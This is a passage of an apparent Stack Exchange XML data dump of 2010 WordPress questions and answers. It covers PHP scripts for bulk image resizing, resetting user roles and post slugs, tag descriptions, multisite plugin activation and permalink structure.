WordPress&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-28T23:08:16.713" CommentCount="3" />
  <row Id="3413" PostTypeId="2" ParentId="3407" CreationDate="2010-10-29T01:27:13.770" Score="0" ViewCount="" Body="&lt;p&gt;I would suggest you fix this using the operating system or software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i would do is download the images from hosting, use automator in my OSX or record a some photoshop macro to resize the images or use some mass image resizer - resize, reupload&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the blog is on your own server and you have command line access, i guess it would be easier to resize using some commands (i need more details on ur system to be able to tell)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can also try writing some php script that resize the images - it should be pretty easy to do - there are bunch of image resizing scripts around if you google (make sure you run it on some test images first before ruining the whole gallery)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and good luck :)&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-10-29T01:27:13.770" />
  <row Id="3414" PostTypeId="2" ParentId="3407" CreationDate="2010-10-29T01:36:11.957" Score="0" ViewCount="" Body="&lt;p&gt;you could use the gd extension in php, or imagemagick binaries on the linux cli. timthumb.php is widely used for thumbnails etc, you could do something with that as well. ideally for the next post you'll make sure the client does it properly, instead of you creating a plugin that intercepts all the img calls, and runs em through your resize filter :).&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-10-29T01:36:11.957" />
  <row Id="3415" PostTypeId="1" AcceptedAnswerId="3424" CreationDate="2010-10-29T01:57:16.247" Score="2" ViewCount="117" Body="&lt;p&gt;I have a php function that executes inside an add_meta_box() in the WP content editor (see below) that I would like to convert to javascript so that it executes on a button click (on demand vs automatic on load) to convert the post content in real time (without posting to the server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an equivalent method set in javascript?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_meta_box('mycontentfilter', __('My Content Filter'), 'my_content_filter', 'post', 'side', 'high'); &#xA;&#xA;function my_content_filter()&#xA;{&#xA;    global $post;&#xA;    $mykeyword = 'find this phrase';&#xA;    $post-&amp;gt;post_content = preg_replace_callback(&quot;/\b($mykeyword)\b/&quot;,&quot;doReplace&quot;, $post-&amp;gt;post_content);&#xA;}&#xA;&#xA;&#xA;// the callback function&#xA;function doReplace($matches)&#xA;{&#xA;    static $count = 0;&#xA;    switch($count++) &#xA;    {&#xA;        case 0: return '&amp;lt;b&amp;gt;'.$matches[1].'&amp;lt;/b&amp;gt;';   // 1st instance, wrap in bold&#xA;        case 1: return '&amp;lt;em&amp;gt;'.$matches[1].'&amp;lt;/em&amp;gt;'; // 2nd instance, wrap in italics&#xA;        case 2: return '&amp;lt;u&amp;gt;'.$matches[1].'&amp;lt;/u&amp;gt;'; // 3rd instance, wrap in underline&#xA;        default: return $matches[1];              // don't change others.&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-10-29T02:07:43.290" LastActivityDate="2010-10-29T10:48:56.317" Title="Does javascript have an equivalent to PHP's preg_replace_callback?" Tags="&lt;javascript&gt;&lt;metabox&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="3416" PostTypeId="2" ParentId="3407" CreationDate="2010-10-29T02:56:12.450" Score="2" ViewCount="" Body="&lt;p&gt;You can do a max-width.  In the functions.php do something similar to what is done in Twenty Ten.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Set the content width based on the theme's design and stylesheet.&#xA; *&#xA; * Used to set the width of images and content. Should be equal to the width the theme&#xA; * is designed for, generally via the style.css stylesheet.&#xA; */&#xA;if ( ! isset( $content_width ) )&#xA;    $content_width = 640;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set the size in you style.css&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#content img {&#xA;max-width: 640px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Settings-&gt;Media change the max size to your maximum width, in this example 640.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to do all of these things for it to work. Then WP will create a &quot;large&quot; image that is the correct size for the webpage. The user will then have to insert the &quot;large&quot; image rather than the full size image.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Then use Regenerate Thumbnails plugin by Viper007Bond. &lt;a href=&quot;http://www.viper007bond.com/wordpress-plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;http://www.viper007bond.com/wordpress-plugins/regenerate-thumbnails/&lt;/a&gt; which will regenerate all the new image sizes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Not sure how to deal with the images that have already been inserted at &quot;full size&quot;, aside from re-inserting them manually. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure how the images are being displayed in the post, but you can retrieve a specified size image by using wp_get_attachment_image() - see the codex - I would have to know how the images are being displayed to give more detailed answer.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-29T02:56:12.450" />
  <row Id="3417" PostTypeId="2" ParentId="3351" CreationDate="2010-10-29T04:30:24.307" Score="2" ViewCount="" Body="&lt;p&gt;Create a &lt;code&gt;.php&lt;/code&gt; file in root of your WordPress directory and write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require( 'wp-load.php' );&#xA;&#xA;$urunler = array(&#xA;    'order'          =&amp;gt; 'ASC',&#xA;    'post_type'      =&amp;gt; 'urun',&#xA;    'post_status'    =&amp;gt; null,&#xA;    'numberposts'    =&amp;gt; -1,&#xA;);&#xA;&#xA;$tumurunler = get_posts($urunler);&#xA;if ($tumurunler) {&#xA;  foreach ($tumurunler as $urun) {&#xA;    $urun-&amp;gt;post_name = '';&#xA;    wp_update_post( $urun );   // Update the post into the database&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this code loads all posts of &lt;code&gt;post_type=='urun'&lt;/code&gt; and sets the &lt;code&gt;$urun-&amp;gt;post_name&lt;/code&gt; field to empty (this field defines the post permalink slug) then WordPress automatically fills a value for you when you call &lt;code&gt;wp_update_post()&lt;/code&gt;. If you want to change &lt;code&gt;post_type'&lt;/code&gt; to &lt;code&gt;'post'&lt;/code&gt; or &lt;code&gt;post_type'&lt;/code&gt; to &lt;code&gt;'page'&lt;/code&gt; just change this line: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'post_type'      =&amp;gt; 'urun',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1372" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-29T07:28:59.673" LastActivityDate="2010-10-29T07:28:59.673" CommentCount="1" />
  <row Id="3418" PostTypeId="2" ParentId="2346" CreationDate="2010-10-29T07:41:57.790" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Chris Adams:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just ran across these &lt;a href=&quot;http://birdhouse.org/software/2010/08/wordpress-mass-management/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress Mass Management Tools&lt;/strong&gt;&lt;/a&gt; which are not the same as &lt;em&gt;drush&lt;/em&gt; but are the closest thing I seen thus far.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-29T07:41:57.790" />
  <row Id="3419" PostTypeId="2" ParentId="3127" CreationDate="2010-10-29T07:58:53.070" Score="1" ViewCount="" Body="&lt;p&gt;There is an option for this in the article rating settings. I was using thumbs so hadn't spotted it.&lt;/p&gt;&#xA;" OwnerUserId="500" LastActivityDate="2010-10-29T07:58:53.070" />
  <row Id="3420" PostTypeId="2" ParentId="3400" CreationDate="2010-10-29T08:05:40.063" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Bee&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea why this happened.  But if I understand your problem correctly you need to set these user records back to being &lt;code&gt;'subscriber'&lt;/code&gt; instead of &lt;code&gt;'author'&lt;/code&gt;, right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I would not recommend direct SQL update like this but given the nature of the problem and it being a one-time thing I think it will be okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &lt;strong&gt;first&lt;/strong&gt; &lt;a href=&quot;http://codex.wordpress.org/Backing_Up_Your_Database&quot; rel=&quot;nofollow&quot;&gt;BACK UP YOUR DATABASE&lt;/a&gt; before you try any of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the SQL to run based on what I know of the internals of WordPress and also based on &lt;a href=&quot;http://wordpress.org/support/topic/mass-change-user-role&quot; rel=&quot;nofollow&quot;&gt;this support question&lt;/a&gt; &lt;em&gt;(this assumes that the prefix for your main tables is &lt;code&gt;'wp'&lt;/code&gt; and also assumes you are okay to set all users assigned to with &lt;code&gt;'author'&lt;/code&gt; back to subscriber and manually make any corrections using the WordPress admin console.)&lt;/em&gt; So if you know how to run this SQL from a SQL query tool, go for it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE &#xA;  wp_usermeta &#xA;SET &#xA;  meta_value='a:1:{s:10:&quot;subscriber&quot;;s:1:&quot;1&quot;;}'&#xA;WHERE 1=1&#xA;  AND meta_key='wp_capabilities' &#xA;  AND meta_value LIKE '%author%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are not comfortable with running SQL from a query tools then you can drop this into the &lt;em&gt;root&lt;/em&gt; of your website (call it &lt;code&gt;/update-users.php&lt;/code&gt; or similar) and then run it by calling the URL &lt;code&gt;http://example.com/update-users.php&lt;/code&gt; from your browser &lt;em&gt;(replacing &lt;code&gt;http://example.com&lt;/code&gt; with your actual site domain, of course):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include &quot;wp-load.php&quot;;&#xA;global $wpdb;&#xA;$sql =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;UDPATE&#xA;  wp_usermeta&#xA;SET&#xA;  meta_value='a:1:{s:10:&quot;subscriber&quot;;s:1:&quot;1&quot;;}'&#xA;WHERE 1=1&#xA;  AND meta_key='wp_capabilities'&#xA;  AND meta_value LIKE '%author%'&#xA;SQL;&#xA;$wpdb-&amp;gt;query($sql);&#xA;echo 'Done!';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. Please report back to us on your success, or if you need more help.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-12-22T15:15:25.847" LastActivityDate="2010-12-22T15:15:25.847" CommentCount="2" />
  <row Id="3421" PostTypeId="2" ParentId="2785" CreationDate="2010-10-29T08:58:02.237" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I, for example, create a custom&#xA;  post type and then include this in&#xA;  other posts using a shortcode? Is&#xA;  there a better way to do this using&#xA;  custom taxonomies?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( array( 'post_type' =&amp;gt; array('post', 'CUSTOM_POST_TYPE_HERE') ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put this in the relevant template above &lt;code&gt;if(have_posts())&lt;/code&gt;. This will allow both posts and your custom type to be shown.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-29T08:58:02.237" />
  <row Id="3422" PostTypeId="1" CreationDate="2010-10-29T09:47:14.110" Score="0" ViewCount="310" Body="&lt;p&gt;Please look at it here TAG page morsblog [dot] dk/tag/stranden/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For THIS TAG, I want to write some text in WordPress (it should have possibility to add defined text to any defined tag).&#xA;It should look something like this: &lt;a href=&quot;http://farblog.dk/tag/motorsav-bukser/&quot; rel=&quot;nofollow&quot;&gt;http://farblog.dk/tag/motorsav-bukser/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make a little plugin that make the text be shown, and providing an opportunity to display the Adsense code below?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2010-10-29T13:48:32.417" Title="WordPress - &quot;tag page&quot; additional, custom content" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="3423" PostTypeId="2" ParentId="3407" CreationDate="2010-10-29T10:17:59.587" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@moettinger&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Great question!&lt;/strong&gt; WordPress lacks some of the higher level imaging management features that would make it file maintenance like you need so much easier. The core WordPress team has been threatening to add enhance image features for many versions; eventually they might actually do it! Until then you'll have to use a patchwork of plugins and/or custom code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More good news and bad news: The &lt;strong&gt;good news&lt;/strong&gt; is WordPress combined with PHP has tons of lower level imaging handling features but the &lt;strong&gt;bad news&lt;/strong&gt; is it has tons of lower level imaging handling features from which you have to decide which to use! A while back I posted a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1051/how-to-retrieve-an-image-attachments-alt-text/1065#1065&quot;&gt;&lt;strong&gt;list of image handling functions found in WordPress&lt;/strong&gt;&lt;/a&gt; and if you'll scan it you'll probably see there are several different ways to skin this cat. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I picked one approach and it follows below with copious comments rather than explain here in the text. You can just copy it to the root of your website as something like &lt;code&gt;/downsize-images.php&lt;/code&gt; and call it from your browser. If it times out, don't worry; I wrote it to keep track of what it had already done so just keep running it until you see it print &lt;em&gt;&quot;Done!&quot;&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; You need to set the constant &lt;code&gt;MAX_RESIZE_IMAGE_TO&lt;/code&gt; to whatever you want your maximum dimension to be; my example used &lt;code&gt;640&lt;/code&gt; pixels. After it runs you'll have a bunch of image files with an extension of &lt;code&gt;.save&lt;/code&gt; appended. Once you are happy that it ran like you wanted you can just delete those &lt;code&gt;.save&lt;/code&gt; files. I didn't automatically delete them in case something went wrong with the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(&lt;strong&gt;IMPORTANT&lt;/strong&gt;: Be &lt;strong&gt;SURE TO BACKUP&lt;/strong&gt; both your database and your upload directory &lt;strong&gt;BEFORE&lt;/strong&gt; you run this. It worked on my machine but you might have something I didn't test and it might cause corruption so backup! &lt;strong&gt;DO NOT&lt;/strong&gt; come back later and say I didn't warn you!!!):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;include &quot;wp-load.php&quot;;                 // Need this to load WordPress core&#xA;include &quot;wp-admin/includes/image.php&quot;; // Needed for wp_create_thumbnail()&#xA;&#xA;define('MAX_RESIZE_IMAGE_TO',640);     // SET YOUR MAX DIMENSION HERE!!!!&#xA;&#xA;// Check our &quot;queue&quot; to see if we've previously only run to partial competion.&#xA;$attachment_ids = get_option('attachment_ids_to_resize');&#xA;if ($attachment_ids=='Done!') { // Make sure we don't do it again&#xA;  echo 'Already done.';&#xA;} else {&#xA;  if (empty($attachment_ids)) { // If this is the first time, this array will be empty. Get the IDs.&#xA;    global $wpdb;&#xA;    $attachment_ids = $wpdb-&amp;gt;get_col(&quot;SELECT ID FROM {$wpdb-&amp;gt;posts} WHERE post_type='attachment'&quot;);&#xA;  }&#xA;  foreach($attachment_ids as $index =&amp;gt; $attachment_id) {&#xA;    // Get metadata: [width,height,hwstring_small,file,sizes[file,width,height],image_meta[...]]:&#xA;    $metadata = wp_get_attachment_metadata($attachment_id);&#xA;    // Get upload_dir: [path,url,subdir,basedir,baseurl,error]:&#xA;    $upload_dir = wp_upload_dir();&#xA;    // Get full path to original file&#xA;    $filepath = &quot;{$upload_dir['basedir']}/{$metadata['file']}&quot;;&#xA;    // Make a smaller version constrained by largest dimension to MAX_RESIZE_IMAGE_TO&#xA;    $smaller_file = wp_create_thumbnail( $filepath, MAX_RESIZE_IMAGE_TO);&#xA;    // If the file was really created&#xA;    if (@file_exists($smaller_file)) {&#xA;      // Append a &quot;.save&quot; to original file name, just in case (you can manually delete *.save)&#xA;      rename($filepath,&quot;{$filepath}.save&quot;);&#xA;      // Get this smaller files dimensions&#xA;      list($width,$height) = getimagesize($smaller_file);&#xA;      // Strip the base directory off the filename (i.e. '/Users/username/Sites/sitename/wp-content/uploads/')&#xA;      $metadata['file'] = str_replace(&quot;{$upload_dir['basedir']}/&quot;,'',$smaller_file);&#xA;      $metadata['height'] = $height;&#xA;      $metadata['width'] =  $width;&#xA;      // Get the the small size, 128x96 or smaller if need be&#xA;      list($uwidth,$uheight) = wp_constrain_dimensions($metadata['width'], $metadata['height'], 128, 96);&#xA;      $metadata['hwstring_small'] = &quot;height='$uheight' width='$uwidth'&quot;;&#xA;      // Make sure none of the sizes are larger than the new size&#xA;      foreach($metadata['sizes'] as $size =&amp;gt; $size_info) {&#xA;        if (intval($size_info['height'])&amp;gt;intval($height) ||&#xA;            intval($size_info['width'])&amp;gt;intval($width)) {&#xA;          // If too large get the full file path of the sized image&#xA;          $old_file = &quot;{$upload_dir['path']}/{$size_info['file']}&quot;;&#xA;          // Tack a &quot;.save&quot; extension on it, just in case (you can manually delete *.save)&#xA;          rename($old_file,&quot;{$old_file}.save&quot;);&#xA;          // Remove it from the metadata since it's too large&#xA;          unset($metadata['sizes'][$size]);&#xA;        }&#xA;      }&#xA;      // Update the attachement metadata with the new smaller values&#xA;      wp_update_attachment_metadata($attachment_id,$metadata);&#xA;      // Update the name of the other place the orginal file name is stored&#xA;      update_attached_file($attachment_id,$metadata['file']);&#xA;    }&#xA;    // Remove this attachment from our &quot;queue&quot;&#xA;    unset($attachment_ids[$index]);&#xA;    // Save the new smaller &quot;queue&quot; in case we need to run this again.&#xA;    update_option('attachment_ids_to_resize',$attachment_ids);&#xA;  }&#xA;  // If we've actually processed them all&#xA;  if (count($attachment_ids)==0) {&#xA;    // Store a marker so we won't accidentally run this again&#xA;    update_option('attachment_ids_to_resize','Done!');&#xA;  }&#xA;  echo 'Done!';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-29T10:17:59.587" />
  <row Id="3424" PostTypeId="2" ParentId="3415" CreationDate="2010-10-29T10:48:56.317" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Scott B&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is really more of a &lt;a href=&quot;http://www.stackoverflow.com&quot;&gt;&lt;strong&gt;StackOverflow&lt;/strong&gt;&lt;/a&gt; question than a WordPress Answers question. I'll take a stab at it but if this is not what you need I'd suggest deleting your question here and putting it up at SO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Replace()&lt;/code&gt; function in Javascript can take a function as an argument. &lt;a href=&quot;http://www.bennadel.com/&quot; rel=&quot;nofollow&quot;&gt;Ben Nadel&lt;/a&gt; &lt;em&gt;(who is a bonafide jQuery/Javascript rockstar, at least in my book)&lt;/em&gt; has a great article covering how to use &lt;code&gt;Replace()&lt;/code&gt; with a callback &lt;em&gt;(look for the subhead &lt;strong&gt;&quot;Javascript String Replace() - Function Replace&quot;&lt;/strong&gt;):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bennadel.com/blog/1742-Using-Regular-Expressions-In-Javascript-A-General-Overview-.htm&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Using Regular Expressions In Javascript (A General Overview)&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-29T10:48:56.317" CommentCount="1" />
  <row Id="3425" PostTypeId="2" ParentId="3422" CreationDate="2010-10-29T11:19:30.953" Score="1" ViewCount="" Body="&lt;p&gt;You can add a tag description by editing the tag in your WordPress admin (Posts &gt; Post Tags), then use the following code to display the description in your template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tag = $wp_query-&amp;gt;get_queried_object();&#xA;echo $tag-&amp;gt;description;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-29T11:19:30.953" />
  <row Id="3426" PostTypeId="1" AcceptedAnswerId="3438" CreationDate="2010-10-29T13:11:17.727" Score="3" ViewCount="426" Body="&lt;p&gt;I'm in the process of setting up a (potentially) large multisite network, and I'm looking to make it as easy as possible now to add and configure sites when needed. I'm currently at the phase where I'm dealing with plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With multisite I am aware of several different ways you can activate plugins&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Put the plugin in &lt;code&gt;/plugins&lt;/code&gt;, activate it on every site invidually&lt;/li&gt;&#xA;&lt;li&gt;Put the plugin in &lt;code&gt;/plugins&lt;/code&gt;, use 'network activate' to activate it on &lt;strong&gt;all&lt;/strong&gt; sites&lt;/li&gt;&#xA;&lt;li&gt;Put the plugin in &lt;code&gt;/mu-plugins&lt;/code&gt;, automatically activated on every site&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, I've been playing with the settings and I want to activate Akismet on all sites &lt;strong&gt;but&lt;/strong&gt; one or two. I thought I would be able to network activate the plugin and then disable it on a single site, but I am unable to do so - if I use network activate then there is only the option to 'network deactivate' - which deactivates the plugin across all sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to have the handy functionality of network activate but yet still have the convenience of being able to deactivate plugins on a site-by-site basis?&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2011-05-25T06:58:33.467" Title="How to disable a network enabled plugin for just one site?" Tags="&lt;multisite&gt;" AnswerCount="5" FavoriteCount="3" />
  <row Id="3427" PostTypeId="2" ParentId="3395" CreationDate="2010-10-29T13:12:58.377" Score="1" ViewCount="" Body="&lt;p&gt;esc_attr() is, for the most part, an alias for a) kses (strips evil chars to prevent xss) and b) htmlspecialchars(), for use in HTML attributes. It can be used to display sanitized user input that cannot contain HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need only to sanitize strings before storing in the db, there are multiple variants of kses available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, don't miss the other esc_*() functions. There are quite a few.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other two you mention are self-explanatory.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-29T13:12:58.377" />
  <row Id="3428" PostTypeId="2" ParentId="3409" CreationDate="2010-10-29T13:30:23.083" Score="1" ViewCount="" Body="&lt;p&gt;That works, yeah.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slightly off topic, FYI: there are a few defines, namely wp content dir and url, that allow to organize sites like so on a development server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/stable (contains wp stable)&#xA;/devel (contains wp trunk)&#xA;/content (contains uploads, themes, plugins, etc.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This allows to easily test forward and backward compatibility of themes and plugins.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-29T13:30:23.083" CommentCount="2" />
  <row Id="3429" PostTypeId="2" ParentId="3426" CreationDate="2010-10-29T13:36:09.863" Score="0" ViewCount="" Body="&lt;p&gt;Not out of the box in WP 3, but it would be possible, I think, to override the option using the option_* filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it would be sweet if you added the suggestion as a feature request in core.trac.wordpress.org.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-29T13:36:09.863" />
  <row Id="3430" PostTypeId="2" ParentId="3422" CreationDate="2010-10-29T13:48:32.417" Score="0" ViewCount="" Body="&lt;p&gt;In my previous theme I made some code for this, though not in plugin format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I not only wanted to add some text but for specific tag pages other theme layout, other sidebar, other header, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this I made the structure to make directories /inc/tags/ in the theme directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then ... there is quite some code but e.g.my tag.php looked liked this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$tagname = get_query_var('tag');&#xA;get_header();&#xA;$tagdirectory = TEMPLATEPATH . '/inc/tags/' . $tagname . '/';&#xA;$includedirectory = TEMPLATEPATH . '/inc/';&#xA;include ($includedirectory . &quot;directorytag.php&quot;);&#xA;     include ($includedirectory . &quot;header_top.php&quot;);&#xA;      ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;maincontent&quot;&amp;gt;&#xA;   &amp;lt;?php&#xA;        if (file_exists($tagdirectory . &quot;header.php&quot;)) {&#xA;        include ($tagdirectory. &quot;header.php&quot;);&#xA;        }&#xA;        ?&amp;gt;&#xA;        &amp;lt;?php&#xA;        if (function_exists('postbar')) postbar();&#xA;        include ($includedirectory . &quot;loop_tag.php&quot;);&#xA;        if (function_exists('postbar')) postbar();&#xA;    ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;sidebar&quot;&amp;gt;&#xA;         &amp;lt;?php&#xA;            include($includedirectory . &quot;sidebar_tags_top.php&quot;);&#xA;            if (file_exists($tagdirectory . &quot;sidebar.php&quot;)) {&#xA;            include ($tagdirectory . &quot;sidebar.php&quot;);&#xA;            }&#xA;            include($includedirectory . &quot;sidebar_tags_bottom.php&quot;);&#xA;            ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea behind it was like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think someone who just starts with blogging without a real purpose will blog along... and during the years he will discover that he wrote quite a lot about some things indicated by a greater amount of tags. So these more interesting tags give both some insight in his interests and lead to kind of subsite based on these tags. So very &quot;evolutionary&quot; as opposed to &quot;I have these interest and will start a wp multisite on these topics&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So (technically) : as soon as you add a directory under the /inc/tags/ directory with the name of the tag you can add files like &quot;header_top.php&quot;, &quot;sidebar_tags_top.php&quot; etc... and... if a certain tags has really specific functionality you can also include it in the loop to show up on the page. You could even add a total different application in the tag directory as time goes by. Therefore: since many combinations are possible this is not really pluggable.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-10-29T13:48:32.417" />
  <row Id="3431" PostTypeId="1" AcceptedAnswerId="3437" CreationDate="2010-10-29T14:00:22.877" Score="8" ViewCount="369" Body="&lt;p&gt;I have read the discussion on the performance of different permalinks on the wp hackers mailinglist, THIS forum and around Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could however not really deduce if the permalink structure I have been using for the past years is good or not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/%postname%-%year%%monthnum%%day%.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This combination put the postname directly after the / and the year,month,day combination makes it more unique since many postnames carry the same name. The html addition is something I have been using for the past 10 years on my blog (even pre wordpress) so that is legacy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont know if this is good for permance or bad for performance, how can i check this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I have been running the blog for +10 years and there are about 10.000 posts with many links in)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;links:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Using_Permalinks&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.google.com/search?q=wordpress+category+permalink+performance&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/search?q=wordpress+category+permalink+performance&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-October/035458.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.automattic.com/pipermail/wp-hackers/2010-October/035458.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" 